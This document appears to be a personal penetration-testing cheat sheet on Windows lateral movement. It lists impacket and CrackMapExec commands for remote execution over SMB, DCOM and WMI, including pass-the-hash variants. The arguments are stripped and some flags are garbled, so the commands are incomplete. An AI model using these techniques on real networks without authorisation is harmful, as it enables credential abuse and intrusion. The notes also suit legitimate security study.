Uses port 445 -
(I had to add / for each end of command to prevent quartz from crashing)
impacket-psexec /:@
impacket-smbexec /:@
cme smb —exec-method smbexec -d -u -p -x
Pass-the-hash :
impacket-psexec -hashes :/@
impacket-smbexec -hashes :/@
cme smb —exec-method smbexec -d -u -H -x
DCOM
Allows execution of programs on other computers - MS RPC - 135 445 port and usually 49751
impacket-dcomexec /:@
cme smb —exec-method mmcexec -d -u -p -x Pass-the-hash :
impacket-dcomexec -hashes :/@
cme smb —exec-method mmcexec -d -u -H -x
WMI
Windows management instrumentation - Watch computers on the network since its uses MS RPC it also uses 135,445 and usually 50911
impacket-wmiexec /:@
crackmapexec smb -d -u -p -x Pass-the-hash :
impacket-wmiexec -hashes :/@
crackmapexec smb -d -u -H LM:NTLM/ -x